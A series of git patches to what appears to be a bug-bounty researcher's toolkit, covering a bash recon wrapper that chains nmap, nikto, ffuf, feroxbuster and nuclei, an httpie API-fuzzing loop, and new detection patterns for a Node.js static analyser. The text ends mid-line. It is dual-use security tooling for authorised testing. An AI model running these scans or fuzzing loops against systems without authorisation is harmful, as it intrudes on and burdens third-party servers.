$GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From d63599b1ae9e7ab9fbb5367a2676ccbb860ecf0a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 2 Feb 2022 10:02:51 +0000 Subject: [PATCH 090/289] [s0mbra] update menu --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 39a91d1..f9d6f85 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -650,7 +650,7 @@ case "$cmd" in echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" + echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From ca434fc168b05cd45c0e63161f82c856e95ada31 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 2 Feb 2022 10:56:15 +0000 Subject: [PATCH 091/289] [s0mbra] lookaround() output improvements --- s0mbra.sh | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index f9d6f85..2aee7d3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -202,6 +202,7 @@ nfs_enum() { # actually worth to look into :D lookaround() { TMPDIR=$(pwd) + START_TIME=$(date) echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" # subfinder @@ -212,6 +213,11 @@ lookaround() { echo -e "\n$GREEN--> httpx$CLR\n" httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + END_TIME=$(date) + echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e " $GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subfinder.tmp` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" } From 994c07a128f396631b12f799592414e17e5fec87 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 5 Feb 2022 12:10:47 +0000 Subject: [PATCH 092/289] [s0mbra] API fuzzing with httpie (work in progress, but basic functionality works --- endpoints.txt | 1 + s0mbra.sh | 15 +++++++++++++++ 2 files changed, 16 insertions(+) create mode 100644 endpoints.txt diff --git a/endpoints.txt b/endpoints.txt new file mode 100644 index 0000000..ff772e2 --- /dev/null +++ b/endpoints.txt @@ -0,0 +1 @@ +/api/v1/user diff --git a/s0mbra.sh b/s0mbra.sh index 2aee7d3..fb95558 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -331,6 +331,17 @@ fu() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +api_fuzz() { + clear + echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" + + for endpoint in $(cat $2); do + https --print=HBh --all --follow POST https://$1/$2 payload=data + https --print=HBh --all --follow PUT https://$1/$2 payload=data + done + + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} fufilter() { clear @@ -638,6 +649,9 @@ case "$cmd" in fufilter) fufilter "$2" "$3" "$4" "$5" ;; + apifuzz) + api_fuzz "$2" "$3" + ;; s3go) s3go "$2" "$3" ;; @@ -658,6 +672,7 @@ case "$cmd" in echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" + echo -e "\t$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" From e6c8e15b48061f0ae5b48188153caf96845319e1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 6 Feb 2022 00:22:48 +0000 Subject: [PATCH 093/289] [s0mbra] ransack() improvements: new tools, parametrized options --- s0mbra.sh | 83 ++++++++++++++++++++++++++++++++++++++----------------- 1 file changed, 58 insertions(+), 25 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index fb95558..09bfb2a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -211,13 +211,15 @@ lookaround() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e " $GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subfinder.tmp` | cut -d" " -f 1) $GRAY subdomains" echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" + grep 200 $TMPDIR/s0mbra_recon_httpx.tmp echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -237,16 +239,16 @@ recon() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp # ffuf - starter + lowercase enumeration echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); do NAME=$(echo $url | cut -d'/' -f3) - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) @@ -264,12 +266,23 @@ recon() { ransack() { HOSTNAME=$1 - if [[ -z $2 ]]; then + # set options: + NMAP=$(echo $2|grep 'nmap'|wc -l) + NIKTO=$(echo $2|grep 'nikto'|wc -l) + VHOSTS=$(echo $2|grep 'vhosts'|wc -l) + FFUF=$(echo $2|grep 'ffuf'|wc -l) + FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) + NUCLEI=$(echo $2|grep 'nuclei'|wc -l) + X8=$(echo $2|grep 'x8'|wc -l) + + # set proto: + if [[ -z $3 ]]; then PROTO='https' else - PROTO=$2 + PROTO=$3 fi + # setup output directory rm -rf $(pwd)/s0mbra mkdir -vp $(pwd)/s0mbra TMPDIR=$(pwd)/s0mbra @@ -282,24 +295,44 @@ ransack() { onaws $HOSTNAME # nmap - echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" - nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + if [[ $NMAP -eq "1" ]]; then + echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" + nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + fi # nikto - echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" - nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" - - # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + if [[ $NIKTO == "1" ]]; then + echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" + nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + fi - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + if [[ $VHOSTS -eq "1" ]]; then + # vhosts enumeration + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + fi # ffuf - ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log - + if [[ $FFUF -eq "1" ]]; then + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + fi + + # feroxbuster + if [[ $FEROXBUSTER -eq "1" ]]; then + feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt + fi + # nuclei - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log + if [[ $NUCLEI -eq "1" ]]; then + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log + fi + + # x8 + if [[ $X8 -eq "1" ]]; then + x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 + fi END_TIME=$(date) echo -e "\n$GREEN[s0mbra] Finished!" @@ -320,13 +353,13 @@ fu() { if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" } @@ -357,10 +390,10 @@ fufilter() { ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H -fs $3 "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$4 -mc $HTTP_RESP_CODES -fs $3 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$4 -mc $HTTP_RESP_CODES -fs $3 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -fs $3 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -fs $3 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" } @@ -666,7 +699,7 @@ case "$cmd" in echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" + echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|nuclei|x8" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From 74f73966e12930b0f1d20d3f606a4c4740e0b954 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 11 Feb 2022 15:37:08 +0000 Subject: [PATCH 094/289] some quick fixes --- enumeratescope.sh | 2 +- s0mbra.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index 0e49ed9..e2c5486 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - # amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all diff --git a/s0mbra.sh b/s0mbra.sh index 09bfb2a..2d47e79 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -699,7 +699,7 @@ case "$cmd" in echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|nuclei|x8" + echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|nuclei|x8" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From 63df7daf2ff7a07f0d3cf3fd56136faf70b9b108 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 12 Feb 2022 15:40:45 +0000 Subject: [PATCH 095/289] [enumeratescope] udpate options for amass --- enumeratescope.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index e2c5486..46c4e8b 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + # amass enum -active -norecursive -noalts -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all From da748960cdd25c5fb08bc3670d3fe464267a858f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 14 Feb 2022 20:26:35 +0000 Subject: [PATCH 096/289] [s0mbra] ransack(): misc bugfixes and imporvements --- s0mbra.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 2d47e79..6759b1d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -288,7 +288,7 @@ ransack() { TMPDIR=$(pwd)/s0mbra START_TIME=$(date) - echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME : nmap + ffuf + nuclei...$CLR" + echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME \n\t using selected options: $2...$CLR" # onaws echo -e "\n$GREEN--> onaws? $CLR\n" @@ -301,7 +301,7 @@ ransack() { fi # nikto - if [[ $NIKTO == "1" ]]; then + if [[ $NIKTO -eq "1" ]]; then echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" fi @@ -321,7 +321,7 @@ ransack() { # feroxbuster if [[ $FEROXBUSTER -eq "1" ]]; then - feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt + feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt --output $TMPDIR/s0mbra_feroxbuster_$HOSTNAME.log fi # nuclei @@ -369,8 +369,8 @@ api_fuzz() { echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" for endpoint in $(cat $2); do - https --print=HBh --all --follow POST https://$1/$2 payload=data - https --print=HBh --all --follow PUT https://$1/$2 payload=data + https --print=HBh --all --follow POST https://$1/$endpoint payload=data + https --print=HBh --all --follow PUT https://$1/$endpoint payload=data done echo -e "$BLUE\n[s0mbra] Done! $CLR" @@ -605,7 +605,7 @@ case "$cmd" in recon "$2" ;; ransack) - ransack "$2" "$3" + ransack "$2" "$3" "$4" ;; kiterunner) kiterunner "$2" From bce76f212345e29c578da693a22061739cf8f937 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 15 Feb 2022 18:07:47 +0000 Subject: [PATCH 097/289] [nodestructor] Output refactoring: print filename+line number for quick open in IDE --- nodestructor/nodestructor.py | 18 ++++++++---------- s0mbra.sh | 1 - 2 files changed, 8 insertions(+), 11 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 53e3a12..e760bd2 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -3,13 +3,12 @@ # nodestructor # Node.js application static code analysis tool # -# bl4de | bloorq@gmail.com | Twitter: @_bl4de # pylint: disable=W1401 # pylint: disable=C """ nodestructor.py - static code analysis for Node.js applications by bl4de -GitHub: bl4de | Twitter: @_bl4de | hackerone.com/bl4de bloorq@gmail.com +GitHub: bl4de | hackerone.com/bl4de | bloorq AT gmail.com """ @@ -18,13 +17,12 @@ https://attacker-codeninja.github.io/2021-08-24-code-review-notes-from-bug-bounty-bootcamp/ """ -import os + + import re +import os import argparse - from imports.beautyConsole import beautyConsole - - banner = r""" ( ) ) @@ -218,12 +216,12 @@ def show_banner(): print(beautyConsole.getColor("white")) -def printcodeline(_line, i, _fn, _message, _code, verbose): +def printcodeline(_line, i, _fn, _message, _code, verbose, fname=None): """ Formats and prints line of output """ _fn = _fn.replace("*", "").replace("\\", "").replace(".(", '(')[0:len(_fn)] - print(":: line %d :: \33[33;1m%s\33[0m %s " % (i, _fn, _message)) + print("{}:{} :: \33[33;1m{}\33[0m {} ".format(fname, i, _fn, _message)) if verbose: if i > 3: @@ -296,7 +294,7 @@ def perform_code_analysis(src, pattern="", verbose=False): print_filename = False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, - ' code pattern identified: ', _code, verbose) + ' code pattern identified: ', _code, verbose, _file.name) # URL searching if identify_urls == True: @@ -305,7 +303,7 @@ def perform_code_analysis(src, pattern="", verbose=False): # show each unique URL only once if __url not in urls: printcodeline(__url, i, __url, - ' URL found: ', _code, verbose) + ' URL found: ', _code, verbose, _file.name) urls.append(__url) if patterns_found_in_file > 0: diff --git a/s0mbra.sh b/s0mbra.sh index 6759b1d..0a683dc 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -8,7 +8,6 @@ HACKING_HOME="/Users/bl4de/hacking" GRAY='\033[38;5;8m' -GRAY_BG='\033[48;5;8m' RED='\033[1;31m' GREEN='\033[1;32m' LIGHTGREEN='\033[32m' From 68282e2eb93586d852d4c987d27b2553fb12ee17 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Mar 2022 16:28:11 +0000 Subject: [PATCH 098/289] [nodestructor] new patterns added --- nodestructor/nodestructor.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index e760bd2..c36a9e8 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -64,7 +64,9 @@ ".*fork\(", ".*setImmediate\(", ".*newBuffer\(", - ".*\.constructor\(" + ".*\.constructor\(", + ".*mysql\.createConnection\(", + ".*\.query\(", ] npm_patterns = [ From 691cac310fbba50dd25e46f013fac0b4cf62d457 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 4 Mar 2022 12:55:39 +0000 Subject: [PATCH 099/289] [s0mbra] refactoring - rename option to decompile .jar --- s0mbra.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 0a683dc..e697f0c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -502,7 +502,7 @@ dex_to_jar() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -decompile_jar() { +unjar() { clear echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 @@ -651,8 +651,8 @@ case "$cmd" in abe) abe "$2" ;; - decompile_jar) - decompile_jar "$2" + unjar) + unjar "$2" ;; smb_enum) smb_enum "$2" "$3" "$4" @@ -729,7 +729,7 @@ case "$cmd" in echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "\t$CYAN unjar $GRAY[.jar 